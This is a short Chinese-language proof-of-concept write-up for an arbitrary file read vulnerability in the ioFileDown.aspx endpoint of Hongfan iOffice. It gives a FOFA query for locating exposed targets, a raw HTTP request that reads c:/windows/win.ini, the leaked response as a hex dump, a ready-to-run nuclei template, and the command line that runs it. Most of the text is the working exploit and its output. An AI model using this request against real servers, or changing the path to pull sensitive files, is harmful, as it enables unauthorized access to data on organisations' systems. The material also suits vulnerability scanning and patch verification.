红帆iOffice ioFileDown任意文件读取漏洞复现 nuclei poc

app="红帆-ioffice"

GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36Connection: closeAccept: */*Accept-Encoding: gzip

HTTP/1.1 200 OKConnection: closeContent-Length: 92Cache-Control: privateContent-Disposition: attachment;filename=win.iniContent-Type: application/octet-streamDate: Tue, 31 Oct 2023 03:52:30 GMTServer: Microsoft-IIS/8.5Set-Cookie: ASP.NET_SessionId=ufesjfexe1c2quapbj304mu0; path=/; HttpOnlyX-Aspnet-Version: 2.0.50727X-Powered-By: ASP.NETX-Ua-Compatible: IE=EmulateIE700000000  3b 20 66 6f 72 20 31 36  2d 62 69 74 20 61 70 70  |; for 16-bit app|00000010  20 73 75 70 70 6f 72 74  0d 0a 5b 66 6f 6e 74 73  | support..[fonts|00000020  5d 0d 0a 5b 65 78 74 65  6e 73 69 6f 6e 73 5d 0d  |]..[extensions].|00000030  0a 5b 6d 63 69 20 65 78  74 65 6e 73 69 6f 6e 73  |.[mci extensions|00000040  5d 0d 0a 5b 66 69 6c 65  73 5d 0d 0a 5b 4d 61 69  |]..[files]..[Mai|00000050  6c 5d 0d 0a 4d 41 50 49  3d 31 0d 0a              |l]..MAPI=1..|

id: hongfan-ioffice-ioFileDown-anyfilereadinfo:  name: 红帆iOffice ioFileDown任意文件读取漏洞  author: fgz  description: '红帆iOffice移动办公系统，是广州红帆电脑科技有限公司基于微软.NET技术研发的，建立以笔记本、手机等便捷终端为载体实现的移动信息化系统。将智能手机、无线网络、OA系统三者有机结合，推出红帆iOffice移动办公系统，实现任何办公地点和办公时间的无缝接入，提高办公效率。红帆iOffice可接入原有的iOffice.net办公平台，用户即可以用PC管理自己的OA桌面，也可以通过移动设备（WAP手机、3G智能手机、IPAD平板电脑）访问OA系统，继续操作、浏览、管理公司的全部工作事务。ioFileDown接口处存在任意文件读取漏洞，会导致敏感数据泄露。'  severity: high  tags: 2023,fileread,红帆  metadata:    max-request: 3    fofa-query: app="红帆-ioffice"    verified: truehttp:  - raw:      - |        GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1        Host: {{Hostname}}        Accept: */*    matchers-condition: and    matchers:      - type: dsl        dsl:          - "status_code == 200 && contains(body, 'bit app support')"

.nuclei.exe -t mypoc/红帆/hongfan-ioffice-ioFileDown-anyfileread.yaml -u 192.168.86.128:8888 --debug